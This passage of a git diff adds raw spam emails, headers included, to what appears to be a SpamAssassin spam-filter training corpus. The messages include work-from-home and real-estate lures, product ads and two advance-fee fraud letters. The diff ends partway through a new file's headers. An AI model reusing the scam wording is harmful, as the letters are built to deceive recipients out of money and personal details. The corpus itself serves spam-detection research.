g6MIECJ44204 + for ; Mon, 22 Jul 2002 14:14:13 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id NAA17171 + for cpunks@minder.net; Mon, 22 Jul 2002 13:22:29 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id NAA17116 + for cypherpunks-outgoing; Mon, 22 Jul 2002 13:20:17 -0500 +Received: from mx10.cluster1.charter.net (dc-mx10.cluster1.charter.net [209.225.8.20]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id NAA17108 + for ; Mon, 22 Jul 2002 13:20:12 -0500 +Received: from [66.191.173.111] (HELO user-bbxdmnnh9d) + by mx10.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9) + with ESMTP id 42275994 for cypherpunks@einstein.ssz.com; Mon, 22 Jul 2002 14:10:28 -0400 +Message-ID: <4116-220027122181115483@user-bbxdmnnh9d> +From: "Joe" +To: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Want to Make a million!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +Date: Mon, 22 Jul 2002 14:11:15 -0400 +MIME-Version: 1.0 +Content-type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by einstein.ssz.com id NAA17111 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Want to Make a million!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! + + + +Want to make a million bucks this year? +Me too but it's probably not going happen! + +However if your looking for the opportunity to +make a couple thousand a week, +working form home, with your pc, we need to talk. + +If you're over 18 and a US resident, + +Just Click REPLY + +Send me your Name, State, +Complete telephone number, +and the best time to contact you. + +I will personally speak with you within 48 hours. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00888.6219edfbe560d4320b9d2e87fe92b639 b/bayes/spamham/spam_2/00888.6219edfbe560d4320b9d2e87fe92b639 new file mode 100644 index 0000000..3cd4e86 --- /dev/null +++ b/bayes/spamham/spam_2/00888.6219edfbe560d4320b9d2e87fe92b639 @@ -0,0 +1,75 @@ +From mrhealth@btamail.net.cn Mon Jul 22 21:41:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 560FE440CC + for ; Mon, 22 Jul 2002 16:41:36 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 21:41:36 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MKgc427192 for + ; Mon, 22 Jul 2002 21:42:38 +0100 +Received: from server2.zayedacademy.ac.ae ([213.42.186.67]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.6) with ESMTP id g6MKfnp11259 for + ; Mon, 22 Jul 2002 21:41:51 +0100 +Message-Id: <200207222041.g6MKfnp11259@mandark.labs.netnoteinc.com> +Received: from smtp0000.mail.yahoo.com (IROUTE [4.42.141.17]) by + server2.zayedacademy.ac.ae with SMTP (Microsoft Exchange Internet Mail + Service Version 5.5.2650.21) id PMWCFKBW; Mon, 22 Jul 2002 22:22:55 +0400 +Date: Mon, 22 Jul 2002 11:25:59 -0700 +From: "Maurice Escamilla" +X-Priority: 3 +To: adsurf@hotmail.com +Subject: The database that Bill Gates doesnt want you to know about!!!!! +MIME-Version: 1.0 +Content-Transfer-Encoding: 7bit +Content-Type: text/html; charset=us-ascii + +IMPORTANT NOTICE: Regarding your domain name + +* If you own a .com/.net/.org, you are advised to register + your .ws "web site" domain before someone else takes it forever. + +* Major corporations such as Yahoo, ATT & Intel, have all + registered their .ws "web site" domains for their company names + as well as all their trademarks, to protect them forever. + +* .ws "web site" domains are in 180+ countries worldwide + +* Availability for .ws is ~88% compared to ~24% for .com + +We thought you'd find the article on .ws below interesting. +If you want more information on where to register .ws "web site" +domains, and how to get a discount on multiple registrations, +contact us at http://www.netleads.ws/morgan + +Also, if you would like to increase traffic to your web site, +by submitting your URL to 500+ search engines and directories +at once, then call us today. + +Sincerely, +Joe & Stacy Morgan ++1.888.660.0625 +Internet Names, LLC. + +######################### + +NEWS RELEASE: +.WS (WebSite) Domains Strikes Landmark Deal: + +GDI receives $2,250,860 for the rights to 311 "premium" .ws domain +names. + +--- +Last week, GDI (Global Domains International, Inc.), the registry for.ws +"web site" domains, closed a deal with a large publicly traded company, +one of the biggest players in the .com arena, and received payment in +full of $2,250,860 for the rights to a select group of "premium" .ws +domain names. The 311 domain names will be resold to the highest +bidders and ultimately developed into substantial .ws web sites, giving +.ws even more publicity down the road. + +To be be removed http://www.netleads.ws/remove + + diff --git a/bayes/spamham/spam_2/00889.272969152a8ce2d6ece155571e862683 b/bayes/spamham/spam_2/00889.272969152a8ce2d6ece155571e862683 new file mode 100644 index 0000000..9dda6ee --- /dev/null +++ b/bayes/spamham/spam_2/00889.272969152a8ce2d6ece155571e862683 @@ -0,0 +1,296 @@ +From gtts@cable.net.co Tue Jul 23 00:07:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 248B9440C9 + for ; Mon, 22 Jul 2002 19:07:51 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 00:07:51 +0100 (IST) +Received: from cable.net.co (24-197-151-50.charterga.net [24.197.151.50]) + by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g6MN7u406059 for + ; Tue, 23 Jul 2002 00:07:58 +0100 +From: +To: yyyy@spamassassin.taint.org +Subject: SAVE UP TO 50% ON TONER PRINTER, COPIER, AND FAX CARTRIDGES +Date: Mon, 22 Jul 2002 19:01:42 +Message-Id: <242.662543.853339@cable.net.co> +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" + + + + + + + + +

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    Item                +Epson                     +Price +

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    +    25A --- S051009 LP-3000 PS 7000 -------------------------------- $115.50
    +26 ---- AS051011 Imaging Cartridge for +ActionLaser-1000, 1500 -- $ 99.50
    +    26A --- AS051011 EPL-5000, EPL-5100, EPL-5200 ------------------ $ 99.50
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    Item            +Panasonic                +Price

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    Item                +     +Apple                                +Price

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    +    29 ---- 1960G/A Laser Toner for Apple LaserWriter Select, 300, 310, 360 --------- $ +71.50
    +30 ---- M0089LL/A Toner Cartridge for Laserwriter 300, 320 (74A) ---------------- $ +52.50
    +    31 ---- M6002 Toner Cartridge for Laserwriter IINT, IINTX, IISC, IIF, IIG (95A) - $ +47.50
    +31A --- M0089LL/A Toner Cartridge for Laserwriter +LS, NT, NTR, SC (75A) --------- $ +55.50
    +    32 ---- M4683G/A Laser Toner for LaserWriter 12, 640PS -------------------------- +$ 85.50
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    +    38 --- E-40 Toner Cartridge for PC-720, 740, 770, 790,795, 920, 950, 980 - +$ 85.50
    +38A -- E-20 Toner Cartridge for PC-310, 325, 330, 330L, 400, 420, 430 ---- +$ 85.50
     +

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    Item   +Xerox    Price

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    +    40 ---- 6R903 98A ---- $ 46.50
    +41 ---- 6R902 95A ---- $ 49.50
    +    42 ---- 6R901 91A ---- $ 65.50
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    +    44 ---- 6R899 74A ---- $ 47.50
    +45 ---- 6R928 96A ---- $ 72.50
    +    46 ---- 6R926 27X ---- $ 84.50
    +47 ---- 6R906 09A ---- $ 92.50
    +    48 ---- 6R907 4MV ---- $ 89.50
    +49 ---- 6R905 03A ---- $ 46.50

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Please allow 24 hours for removal. + +This e-mail is sent in compliance with the Information Exchange Promotion +and Privacy Protection Act. section 50 marked as 'Advertisement' with valid +'removal' instruction. + +flblngvdydqtyinmtdhgqenainecyhixfrey + + diff --git a/bayes/spamham/spam_2/00891.730d12d96dcfa7812a51d12d9a3b6a1c b/bayes/spamham/spam_2/00891.730d12d96dcfa7812a51d12d9a3b6a1c new file mode 100644 index 0000000..a8cbe76 --- /dev/null +++ b/bayes/spamham/spam_2/00891.730d12d96dcfa7812a51d12d9a3b6a1c @@ -0,0 +1,84 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NBWdhY054045 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Tue, 23 Jul 2002 06:32:39 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6NBWcPn054040 + for cypherpunks-forward@ds.pro-ns.net; Tue, 23 Jul 2002 06:32:38 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6NBWahX054029 + for ; Tue, 23 Jul 2002 06:32:36 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id GAA07743 + for cypherpunks@ds.pro-ns.net; Tue, 23 Jul 2002 06:41:10 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id GAA07722 + for cypherpunks-outgoing; Tue, 23 Jul 2002 06:40:23 -0500 +Received: from einstein.ssz.com (node-c-3f2f.a2000.nl [62.194.63.47]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id GAA07712 + for ; Tue, 23 Jul 2002 06:40:10 -0500 +Message-Id: <200207231140.GAA07712@einstein.ssz.com> +From: "Donald Phiri" +Date: Mon, 22 Jul 2002 19:38:34 +To: cypherpunks@einstein.ssz.com +Subject: Strictly Private. +MIME-Version: 1.0 +Content-Type: text/plain;charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +Gooday, + +With warm heart my friend, I send you my greetings, and I hope this letter meets you in good time. + +It will be surprising to you to receive this proposal from me since you do not know me personally. However, I am sincerely seeking your confidence in this transaction, which I propose with my free mind and as a person of intergrity. I have kept it to myself for a long time, and now I need to act, as time is not on my side. I want you to open-heartedly read through and give me your most needed support. I got your address from an internet directory, in my search for a contact. I apologize if this is not acceptable to you. The purpose of this letter is to seek your most needed assistance. + +My name is Donald Phiri, the farm supervisor and personal assistant to Mr. David Stevens, a very popular and rich farmer from Macheke, Zimbabwe. My master was murdered in cold blood in my presence on 15 of April 2001, due to the land dispute and political situation in my country, as a result of my master's financial support for the MDC (Movement for Democratic Change), the main opposition party to President Mugabe's party, Zimbabwe African National Union Patriotic Front (ZANU-PF) . For more information on my master's murder, you may check the Amnesty International Country Report on Zimbabwe for the year 2001. + +When the pressure on white farmers started in Zimbabwe due to the support given to the war veterans by President Mugabe to invade farms and force out white farmers, my master forsaw the danger ahead, he then closed his major bank accounts, and together, we went to Johannesburg, South Africa to deposit the sum of $14.5 million (Fourten million, five hundred thousand USdollars), in a private security company, for safety. This money was deposited in a box in my name, as my master was being secretive with his name, as the South African government of Thambo Mbeki is in support of President Mugabe's actions. The box is labeled as gemstones. My master had planned to use this money for the purchase of lands, new machines and chemicals for establishment of new farms in Botswana. He has used this company in the past to move money for the purchase of tractors and farm equipment from Europe. My master is divorced, and his wife Valerie, and only child, Diana have relocated to Bradford, ! + En! +gland for 9years now. + +I am currently in the Netherlands where I am seeking political asylum. I have now decided to transfer my master's money into an account for security and safety reasons. This is why I am anxiously and humbly seeking for your genuine assistance in transfering this money into an account without the knowledge of my government who are bent on taking everything my master left. You have to understand that this decision taken by me entrusts so much to you. + +If you accept to assist me, all I want you to do for me, is to make an arrangements with the security company to clear the box containing the money from their office here in the Netherlands, and then we will transfer the money into an account. You may open a new account for this purpose. I have applied to the security company to transfer the box from South Africa to their branch here, which they have done. + +To legally process the claim of the box, I will contact a lawyer to help me prepare a change of ownership and letter of authority to enable them recognise you as my representative, and deliver the box to you. I have with me, the certificate used to deposit the box, which we will need for claiming the box. + +For valuable assistance, I am offering you 10%($1,450,000) of the total money. I have also set aside 1%($145,000) of this money for all kinds of expenses that come our way in the process of this transaction, and 4%($580,000), will be given to Charity in my master's name I will give 25% ($3,625,000) to Valerie and Diana, after my share of the money has been transfered back to me. When they grant my asylum application, my share of the money (85%), will be transfered back to me, into an account I will solely own. I also intend to start up a business then. If you have knowledge of farming business in your country, or other areas of possible business investment that I may be interested in, please inform me, so that my some of my share of the money can be invested for the time being. + +Please, I want to you maintain absolute secrecy for the purpose of this transaction due to my safety and successful conclusion of the transaction. + +I look forward to your reply and co-operation, and I am sure it will be nice to extend ties with you. + +Yours sincerely, +Donald Phiri. + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00892.98aff9f92339cedef0ce0b9bade2765f b/bayes/spamham/spam_2/00892.98aff9f92339cedef0ce0b9bade2765f new file mode 100644 index 0000000..ebdd360 --- /dev/null +++ b/bayes/spamham/spam_2/00892.98aff9f92339cedef0ce0b9bade2765f @@ -0,0 +1,235 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M7vChY094812 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 02:57:13 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6M7vChc094810 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 02:57:12 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M7v6hX094780 + for ; Mon, 22 Jul 2002 02:57:06 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id DAA32282 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 03:05:23 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id DAA32264 + for cypherpunks-outgoing; Mon, 22 Jul 2002 03:05:11 -0500 +Received: from qaspens_pdc.e-too.com ([208.22.204.130]) + by einstein.ssz.com (8.8.8/8.8.8) with ESMTP id DAA32259 + for ; Mon, 22 Jul 2002 03:05:02 -0500 +From: bcaarj@hotmail.com +Received: from ayg.com (host217-35-123-1.in-addr.btopenworld.com [217.35.123.1]) by qaspens_pdc.e-too.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) + id NX7D9NTS; Mon, 22 Jul 2002 02:03:35 -0500 +Message-ID: <00007d2926aa$00006ad2$000055ab@byrgestudio.com> +To: , , , + , +Cc: , , , + , +Subject: FW:>Re: Herbal Supplements only $24.99! Limited supply. NTZY +Date: Mon, 22 Jul 2002 03:56:23 -1600 +MIME-Version: 1.0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + + + + + + + + + + + + + + + + + +
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    + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00893.89d5fc38f24e7e2241888c19ec260994 b/bayes/spamham/spam_2/00893.89d5fc38f24e7e2241888c19ec260994 new file mode 100644 index 0000000..1268cb6 --- /dev/null +++ b/bayes/spamham/spam_2/00893.89d5fc38f24e7e2241888c19ec260994 @@ -0,0 +1,75 @@ +From theshyswm@hotmail.com Tue Jul 23 02:59:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DAD52440C8 + for ; Mon, 22 Jul 2002 21:59:02 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 23 Jul 2002 02:59:02 +0100 (IST) +Received: from dale.swiftsoft.net (mail.swiftsoft.net [194.131.251.6]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6N1xR416939 for + ; Tue, 23 Jul 2002 02:59:27 +0100 +Received: from backoffice.sbs.local (sbs.t-dickey.co.uk [194.131.251.219]) + by dale.swiftsoft.net (8.11.6/8.11.6) with ESMTP id g6N1tmN05666; + Tue, 23 Jul 2002 02:55:52 +0100 +Received: from mpacker.com ([200.57.16.1]) by backoffice.sbs.local with + Microsoft SMTPSVC(5.0.2195.2096); Mon, 22 Jul 2002 09:26:14 +0100 +Message-Id: <00003e7e38fc$00007462$00006be0@mpkpaqnrixti.kr> +To: , , + , , + , +Cc: , , + , , + , , +From: theshyswm@hotmail.com +Subject: SYSTEMWORKS CLEARANCE SALE_LIMITED QUANTITIES_ONLY $29.99 8785 +Date: Mon, 22 Jul 2002 04:25:02 -1600 +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Originalarrivaltime: 22 Jul 2002 08:26:15.0406 (UTC) FILETIME=[71FD20E0:01C23159] + +
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    + + diff --git a/bayes/spamham/spam_2/00894.f54f07418fc8e677fe0fe5ac60a251ab b/bayes/spamham/spam_2/00894.f54f07418fc8e677fe0fe5ac60a251ab new file mode 100644 index 0000000..ae5be93 --- /dev/null +++ b/bayes/spamham/spam_2/00894.f54f07418fc8e677fe0fe5ac60a251ab @@ -0,0 +1,233 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MKW9hY095677 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 15:32:09 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6MKW9Ga095675 + for cypherpunks-forward@ds.pro-ns.net; Mon, 22 Jul 2002 15:32:09 -0500 (CDT) +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6MKW0hY095654 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Mon, 22 Jul 2002 15:32:02 -0500 (CDT) + (envelope-from cpunks@waste.minder.net) +Received: from waste.minder.net (daemon@waste [66.92.53.73]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MKVxJ55104 + for ; Mon, 22 Jul 2002 16:32:00 -0400 (EDT) + (envelope-from cpunks@waste.minder.net) +Received: (from cpunks@localhost) + by waste.minder.net (8.11.6/8.11.6) id g6MKVxp23634 + for cypherpunks@ds.pro-ns.net; Mon, 22 Jul 2002 16:31:59 -0400 +Received: from locust.minder.net (locust.minder.net [66.92.53.74]) + by waste.minder.net (8.11.6/8.11.6) with ESMTP id g6MKVvR23610 + for ; Mon, 22 Jul 2002 16:31:58 -0400 +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by locust.minder.net (8.11.6/8.11.6) with ESMTP id g6MKVuJ55088 + for ; Mon, 22 Jul 2002 16:31:56 -0400 (EDT) + (envelope-from cpunks@einstein.ssz.com) +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id PAA19563 + for cpunks@minder.net; Mon, 22 Jul 2002 15:40:21 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id PAA19515 + for cypherpunks-outgoing; Mon, 22 Jul 2002 15:38:56 -0500 +Received: from mkt1.verticalresponse.com (mkt1.verticalresponse.com [130.94.4.19]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id PAA19509 + for ; Mon, 22 Jul 2002 15:38:51 -0500 +Message-Id: <200207222038.PAA19509@einstein.ssz.com> +Received: (qmail 27616 invoked from network); 22 Jul 2002 20:30:11 -0000 +Received: from unknown (130.94.4.23) + by 0 with QMQP; 22 Jul 2002 20:30:11 -0000 +From: " Special Deals" +To: cypherpunks@einstein.ssz.com +Old-Subject: CDR: Learn the Secrets of Investing in Real Estate Today! +Date: Mon, 22 Jul 2002 20:30:11 +0000 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="__________MIMEboundary__________" +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish +Subject: Learn the Secrets of Investing in Real Estate Today! + +This is a multi-part message in MIME format. + +--__________MIMEboundary__________ +Content-Type: text/plain +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6MKYVhX096488 + + +Dear Friend,=20 + +Do you need extra money? Are you in debt? Stuck in a dead end job, or jus= +t +want to work for yourself? + +How would you like to earn up to $100 per hour investing in real estate? +You can! I will teach you my secrets to building a fortune with real +estate!=20 + +=95 No Experience Necessary +=95 Work full or part time +=95 Use almost none of your own money +=95 Good or bad credit, it doesn't matter + +Anyone can do this; this system is so easy you won't believe it! This +once-in-a-lifetime deal is going to expire fast . . . take the next five +minutes to make changes for the better that will last a lifetime. + + +Your Friend and Personal Mentor, +http://r.vresp.com/?A/f920a9a9ef + +Lou Vukas=20 +=20 +http://r.vresp.com/?A/b8e02b156b +=20 + + +______________________________________________________________________ +You are receiving this email because you requested to receive info and +updates via email. + +To unsubscribe, reply to this email with "unsubscribe" in the subject or +simply click on the following link: +http://unsubscribe.verticalresponse.com/u.html?96a0aef8be/aa3b97bcc2 + + + +--__________MIMEboundary__________ +Content-Type: text/html +Content-Transfer-Encoding: quoted-printable +X-MIME-Autoconverted: from 8bit to quoted-printable by hq.pro-ns.net id g6MKYVhX096488 + + + +Real Estate Fortunes = +
    =20 +




    Here's me o= +n a +recent
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    =20 +

    =A0
    		= +
    +=A0= + + = + =20 += + =20 +
    = + =20 +
    =A0
    Dear Friend= +, +

    Do you need extra money? Are you in debt? Stuck +in a dead end job, or just want to work for yourself?
    = +=20 +
    How would you like to earn up to $100 per hour investing +in real estate? You can! I will teach you my secrets to +building a fortune with real estate!

    =20 +    =95= + No =20 + Experience Necessary
    =95 Work full or part time
    = + =20 + =95 Use almost none of your own money
    =95 Good or bad credi= +t, it +doesn't matter

    Anyone can do thi= +s; +this system is so easy you won't believe it! This =20 +once-in-a-lifetime deal is going to expire fast . . . take the next five = +=20 + minutes to make changes for the better that will last a +lifetime.

    = + Your = + =20 + Friend and Personal Mentor,

    Lou Vukas

    + +
    +
    + + + + +
    You = +are +receiving this email because you requested to receive info and updates vi= +a +email. + +To unsubscribe, reply to this email with "unsubscribe" in the subject or +simply click on the following link: Unsubscribe
    + + + + +--__________MIMEboundary__________-- + +. + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00895.d7895e10504f34149655062fe20d5174 b/bayes/spamham/spam_2/00895.d7895e10504f34149655062fe20d5174 new file mode 100644 index 0000000..8428148 --- /dev/null +++ b/bayes/spamham/spam_2/00895.d7895e10504f34149655062fe20d5174 @@ -0,0 +1,80 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M1TAhY042161 + (version=TLSv1/SSLv3 cipher=EDH-DSS-DES-CBC3-SHA bits=168 verify=NO) + for ; Sun, 21 Jul 2002 20:29:10 -0500 (CDT) + (envelope-from cpunks@hq.pro-ns.net) +Received: (from cpunks@localhost) + by hq.pro-ns.net (8.12.5/8.12.5/Submit) id g6M1TAdu042154 + for cypherpunks-forward@ds.pro-ns.net; Sun, 21 Jul 2002 20:29:10 -0500 (CDT) +Received: from einstein.ssz.com (cpunks@[207.200.56.4]) + by hq.pro-ns.net (8.12.5/8.12.5) with ESMTP id g6M1T8hX042140 + for ; Sun, 21 Jul 2002 20:29:08 -0500 (CDT) + (envelope-from cpunks@einstein.ssz.com) +X-Authentication-Warning: hq.pro-ns.net: Host cpunks@[207.200.56.4] claimed to be einstein.ssz.com +Received: (from cpunks@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id UAA22770 + for cypherpunks@ds.pro-ns.net; Sun, 21 Jul 2002 20:37:19 -0500 +Received: (from mdom@localhost) + by einstein.ssz.com (8.8.8/8.8.8) id UAA22762 + for cypherpunks-outgoing; Sun, 21 Jul 2002 20:37:15 -0500 +Received: from ab17c2767.com ([217.78.76.138]) + by einstein.ssz.com (8.8.8/8.8.8) with SMTP id UAA22363 + for ; Sun, 21 Jul 2002 20:26:44 -0500 +Message-Id: <200207220126.UAA22363@einstein.ssz.com> +From: "BARRISTER JOHNSON AKERELE" +To: cypherpunks@einstein.ssz.com +Date: Mon, 22 Jul 2002 14:31:56 -0700 +Subject: REQUEST FOR ASSISTANCE +X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by einstein.ssz.com id UAA22754 +Sender: owner-cypherpunks@einstein.ssz.com +Precedence: bulk +Reply-To: cypherpunks@einstein.ssz.com +X-Mailing-List: cypherpunks@ssz.com +X-Unsubscription-Info: http://einstein.ssz.com/cdr +X-List-Admin: list@ssz.com +X-Loop: ssz.com +X-Acceptable-Languages: English, Russian, German, French, Spanish + +BARRISTER ADEWALE COKER CHAMBERS +Legal Practitioners / Notary Public +Blk 804- Law House Building +Lagos-Nigeria. + +For your kind attention, + + + REQUEST FOR ASSISTANCE +It is my humble pleasure to write you this letter irrespective of the fact that you do not know me. However,I am in search of a reliable and trustworthy person that can handle a confidential transaction of this nature. + +I am BARRISTER ADEWALE COKER, a family lawyer to our former military rule,General Sani Abacha who died suddenly in power some years ago. Since his untimely demise, the family has suffered a lot of harassment from the regimes that succeeded him. The regime and even the present civilian government are made up of Abacha's enemies.Recently, the wife was banned from traveling outside Kano State their home state as a kind of house arrest and the eldest son still in detention.Although, a lot of money have been recovered from Mrs. Abacha since the death of her husband by the present government, there's still huge sums of money in hard currencies that we have been able to move out of the country for safe keeping to the tune of US$50 million.This money US$50 Million is already in North American and if you are interested,we will prepare you as the beneficiary of the total funds,and you will share 25% of the total funds after clearance from the Security Company. + +Note, there is no risk involved in this project because l am involved as Abacha's confidant.Please you should keep this transaction a top secret and we are prepared to do more business with you pending your approach towards this project.I await your urgent response.Thanks. + + +Yours Faithfully + +BARRISTER ADEWALE COKER. + + + + + + + +--DeathToSpamDeathToSpamDeathToSpam-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Spamassassin-Sightings mailing list +Spamassassin-Sightings@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-sightings + + diff --git a/bayes/spamham/spam_2/00896.c6f6a4e29a114b9d7d5751e4292520de b/bayes/spamham/spam_2/00896.c6f6a4e29a114b9d7d5751e4292520de new file mode 100644 index 0000000..f2b6385 --- /dev/null +++ b/bayes/spamham/spam_2/00896.c6f6a4e29a114b9d7d5751e4292520de @@ -0,0 +1,80 @@ +Received: from hq.pro-ns.net (localhost [127.0.0.1]) + by hq.pro-ns.net 